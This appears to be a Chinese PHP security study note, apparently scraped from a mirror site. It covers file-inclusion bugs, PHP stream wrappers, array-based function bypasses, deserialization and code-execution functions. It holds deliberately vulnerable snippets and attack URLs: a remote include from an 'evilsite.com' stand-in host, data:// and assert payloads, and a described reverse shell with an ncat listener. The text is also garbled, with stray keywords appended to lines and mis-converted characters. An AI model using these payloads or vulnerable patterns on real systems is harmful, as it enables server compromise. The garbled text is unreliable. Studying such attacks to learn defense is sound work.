php安全學習筆記

一,LFI(Local File Include) 

意思是可以打開幷包含本地文件的漏洞。php

相關函數:include(), require(), include_once(), require_once(), file_get_contents()shell

  1. file_get_contents():這個函數就是把一個文件裏面的東西 (字符)所有return出來做爲字符串。
    • 除此以外,經過實踐我發現這個函數若是直接把字符串看成參數會報錯,但若是包含的是http協議的網址,則會像curl命令同樣,把源碼讀出來。而php僞協議也是識別http協議的,因此說上面php://input能夠將POST的數據讀過來來賦值給參數,這就形成了上述那個例子的漏洞。
  2. include():(就是require,reqiuire_once,include_require這一類)include是針對文檔的代碼結構的。也就是說,include進來,成了這個文件的其中一部分源代碼,這類函數就是文件包含漏洞的罪魁禍首。
  3. include把導入的字符串當成當前文件的代碼結構,而file_get_contents只是返回字符串,這是兩個函數最大的不一樣。關於字符串執行的問題,file_get_contents返回的字符串失去了被執行的能力,哪怕字符串裏面有,同樣能拿出來但不執行。而include導入的字符串,若是被導入的文件有外的一部分。

漏洞代碼:數組

<?php include($_GET[file]);?>   //(須要allow_url_fopen=on 以及 allow_url_include=on)?我試了一下好像並不須要瀏覽器

當輸入http://localhost/test.php?file=http:\\evilsite.com\evil_script.php,服務器就會evil_script.php中的代碼。安全

好比說在evil_script.php中內容爲<?php phpinfo();?>,就會顯示服務器的phpinfo信息了。服務器

就算不是.php格式結尾的,例如.txt/.png也能夠做爲php代碼來執行。session

 

1, php://僞協議:   訪問各個輸入/輸出流curl

(1) php://input   (須要allow_url_include=on)函數

經過post能夠向服務器寫數據,即服務器經過php://input來接受post數據。post

php的代碼如上圖所示,只需構造以下post命令,就能夠產生一個反彈shell了。(若是是向遠程服務器發送payload,localhost能夠改爲咱們本身的ip地址)

 

接着在本地ncat -l 1234監聽以前在服務器使用的鏈接本地的端口,就能夠對服務器進行命令操做了。

 

或者是當服務器的代碼以下所示時,直接發送post參數system('...');也能夠達到類似效果。

(2) php://filter   (在雙off的時候也可使用)

是一種元封裝器,設計用於"數據流打開"時的"篩選過濾"應用,對本地磁盤文件進行讀寫。簡單來講就是能夠在執行代碼前將代碼換一個方式讀取出來,由於只是讀取因此不須要開啓allow_url_include。能夠讀取源代碼並使用base64編碼輸出。

使用方法:

php://filter/read=convert.base64-encode/resource=1.php(想要加載的代碼)

我這裏讓2.php返回了同一個文件夾下邊的1.php的代碼。

 

2, data://僞協議   (allow_url_fopen=on | allow_url_include=on)

數據流封裝器,和php://類似都利用了流的概念,將本來include()的文件流重定向到了用戶可控制的輸入流中,簡單來講就是執行文件的方法包含了你的輸入流,經過你輸入的payload來實現目的。

用法:

http://localhost/test/2.php?file=data://text/plain,<?php phpinfo(); ?>

 

3, phar

 發現有一個文件上傳功能,沒法繞過,僅能上傳jpg後綴的文件。與此同時,沒法進行文件包含截斷。allow_url_include=on 的狀態下,就能夠考慮phar僞協議繞過。

 用法:?file=phar://壓縮包/內部文件

 

 二,利用數組繞過函數判斷:

  • md5(array()) = null
  • sha1(array()) = null
  • ereg(pattern,array()) = null 
  • preg_match(pattern,array) = false
  • strcmp(array(), "abc") = null
  • strpos(array(),"abc") = null

三,反序列化漏洞:

漏洞的前提:1)unserialize函數傳入內容可控、2)php文件中存在可利用的類,類中存在魔術方法
魔術方法:
  • __construct():在實例化一個對象時被調用,通常用於給屬性賦值。
  • __destruct():在實例化對象完成後執行。
  • __sleep():當調用serialize()時執行,容許對象在被序列化以前作清除數據操做。
  • __wakeup():在使用unserialize()恢復對象時,將調用__wakeup()成員函數。
  • __tostring():在echo一個對象時被調用。

HP反序列化相關漏洞總結[CVE-2016-712四、SugarCRM、session 反序列化、HITCON 2016]:

  https://hellohxk.com/blog/php-deserialization/

 

四,命令執行

1,eval

mixed eval(string $code)

將字符串做爲命令執行。

<?php eval($_GET['a']);?>

訪問http://xxxx/codeexec.php?a=phpinfo();

2,assert
bool assert(mixed $assertion)
檢查指定的assertion並在結果爲FALSE時產生適當響應,若是assertion是字符串則會被當成命令執行。

3,preg_repalce

mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject)

搜索subject中的pattern部分,並用replacement替換,當使用被棄用的 e 修飾符時, 這個函數會轉義一些字符,在完成替換後,引擎會將結果字符串做爲php代碼使用eval方式進行評估並將返回值做爲最終參與替換的字符串。

4,call_user_func

mixed call_user_func(callable $callback [, mixed $parameter ...)

第一個參數 callback 是被調用的回調函數,其他參數是回調函數的參數。 傳入call_user_func()的參數不能爲引用傳遞。

<?php
  call_user_func($_GET[ 'func'],$_GET['para']);
?>

 訪問http://xxxx/codeexec.php?func=assert&para=phpinfo()

5,call_user_func_array

mixed call_user_func_array(callable $callback , array $param_arr)

 把第一個參數做爲回調函數(callback)調用,把參數數組做(param_arr)爲回調函數的的參數傳入。

<?php
  call_user_func_array($_GET[ 'func'],$_GET['arr']);
?>

訪問http://xxxx/codeexec.php?func=assert&arr[]=phpinfo()

6,create_function

string create_function(string $args, string $code)

該函數的內部實現用到了eval,因此也具備相同的安全問題。第一個參數args是後面定義函數的參數,第二個參數是函數的代碼。

<?php
  $a = $_GET[ 'args'];
  $b = create_function( '$a',"echo $a");
  $b( '');
?>
訪問http://xxxx/codeexec.php?args=phpinfo();

7,array_map

array array_map(callable $callback, array $array1 [...)

做用是爲數組的每一個元素應用回調函數 。其返回值爲數組,是爲 array1 每一個元素應用 callback函數以後的數組。 callback 函數形參的數量和傳給 array_map() 數組數量,二者必須同樣。

?php
  $array = array(0,1,2,3,4,5);
  array_map($_GET[ 'func'], $array);
?>

訪問http://xxxx/codeexec.php?func=phpinfo

8, ob_start

bool ob_start(callback $output_callback)

可選參數 output_callback 函數能夠被指定。 此函數把一個字符串看成參數並返回一個字符串。 當輸出緩衝區被( ob_flush(), ob_clean() 或者類似的函數)沖刷(送出)或者被清洗的時候;或者在請求結束之際輸出緩衝區內容被沖刷到瀏覽器的時候該函數將會被調用。 當調用 output_callback 時,它將收到輸出緩衝區的內容做爲參數 並預期返回一個新的輸出緩衝區做爲結果,這個新返回的輸出緩衝區內容將被送到瀏覽器。

<?php

  $cmd = 'system';

  ob_start($cmd);

  echo $_GET['a'];

  ob_end_flush();

?>

訪問http://xxxx/codeexec.php?a=whoami

9,執行系統命令函數

(1) system, passthru

string system(string $command)

void passthru(string $command)

用法<?php system("whoami");?>

(2) exec, shell_exec

string exec(string $command)

string shell_exec(string $command)

<?php
  echo shell_exec("whoami");
?>

(3) pcntl_exec

void pcntl_exec(string $path [, array $args)

path是可執行二進制文件路徑或一個在文件第一行指定了一個可執行文件路徑標頭的腳本, args是一個要傳遞給程序的參數的字符串數組。

(4) popen

resource popen ( string $command , string $mode )

打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。 後面的mode,當爲 ‘r’,返回的文件指針等於命令的 STDOUT,當爲 ‘w’,返回的文件指針等於命令的 STDIN。

<?php
  $handle = popen( "/bin/ls", "r");
?>

(5) ` 反單引號

在php中稱之爲執行運算符,PHP 將嘗試將反引號中的內容做爲 shell 命令來執行,並將其輸出信息返回(即,能夠賦給一個變量而不是簡單地丟棄到標準輸出,使用反引號運算符「`」的效果與函數 shell_exec() 相同。

<?php  echo `whoami`;?>

 

 

 

 

 

 

 


 show_source(__FILE__)能夠打印出此頁面的源碼 

print_r(scandir('./'))掃描當前目錄

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

php僞協議:https://www.jianshu.com/p/0a8339fcc269

網站源碼泄露:https://paper.tuisec.win/detail/655ba5d200c002d

php一句話檢測繞過:https://xz.aliyun.com/t/2335

相關文章
相關標籤/搜索